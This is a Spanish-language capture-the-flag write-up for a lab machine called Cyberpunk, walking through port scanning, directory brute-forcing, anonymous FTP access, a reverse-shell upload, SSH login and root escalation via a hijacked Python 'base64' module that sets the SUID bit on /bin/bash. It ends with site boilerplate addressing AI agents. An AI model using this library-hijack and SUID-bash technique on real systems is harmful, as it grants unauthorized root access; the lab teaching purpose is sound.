# Cyberpunk

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.78
```

para verificar la conectividad de red.

<figure><img src="/files/X2jPE0cEOp0qikcFg1Zf" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.78
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/nAMGqTHMOx6yTWmkTRsw" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP**, el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,22,80 -v 192.168.1.78
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/trCGxyXbcY5SoIMjmuA0" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página con una imagen de una chica hacker.

<figure><img src="/files/DOK61C8lbt3WTx8oDv1m" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml,js -u http://192.168.1.78
```

<figure><img src="/files/61LPYAC10SN73yN1rrJu" alt=""><figcaption></figcaption></figure>

Encontramos un archivo interesante llamado `secret.txt`.

<figure><img src="/files/yO8gAhW5ETrDQwMaKgyp" alt=""><figcaption></figcaption></figure>

Voy a indagar al servicio **FTP** a través del usuario **anonymous** ya que hemos visto que tenemos acceso.

<figure><img src="/files/1sNLnVJPuo5H15fGuqLc" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Al descargar estos archivos nos damos cuenta que es el mismo contenido que la página web por lo que subiremos una **revshell**. Nos ponemos en escucha, establecemos la conexión y revisamos que ya hemos establecido la conexión.

<figure><img src="/files/2tJRs2v4kVxxqGXmUhIw" alt=""><figcaption></figcaption></figure>

Tras ponerme en escucha y realizar tratamiento de la TTY. Como se nos muestra aquí: [Tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#). Listamos el contenido de varios directorios y encontramos un archivo en el directorio `/opt`.

<figure><img src="/files/hOODG4fBgf1iOP7NAxkP" alt=""><figcaption></figcaption></figure>

Es un código **Brainfuck** así que vamos a desencriptar.&#x20;

<figure><img src="/files/xYU0DZpuzVNopbW6Lc4l" alt=""><figcaption></figcaption></figure>

Hemos descubierto la contraseña del usuario **arasaka**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh arasaka@192.168.1.78
```

<figure><img src="/files/lWJi8c1IWDormXnGlGWY" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/AO0AFyXH93fvEB10ks8p" alt=""><figcaption></figcaption></figure>

Listamos permisos ocultos con `ls -la`.&#x20;

<figure><img src="/files/794N8OyhSBdbQUya3nXa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pJ0h9m9bctgmJawekKs4" alt=""><figcaption></figcaption></figure>

Como observamos que el archivo utiliza la biblioteca `base64` de manera relativa, procederemos a crear un archivo llamado `base64.py` . Luego, le otorgaremos permisos de ejecución para que podamos aprovecharlo cuando se ejecute con privilegios de `sudo`.

```bash
import os;
os.system("chmod u+s /bin/bash")
```

Ejecutamos el script con permisos de **root**.

```bash
sudo -u root /usr/bin/python3.11 /home/arasaka/randombase64.py
```

Vemos los permisos y ejecutamos los siguientes comandos:

```bash
ls -la /bin/bash
bash -p
```

Ya somos **root**.

<figure><img src="/files/lFZP80ntWslzCN1Yuv4E" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/cyberpunk.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
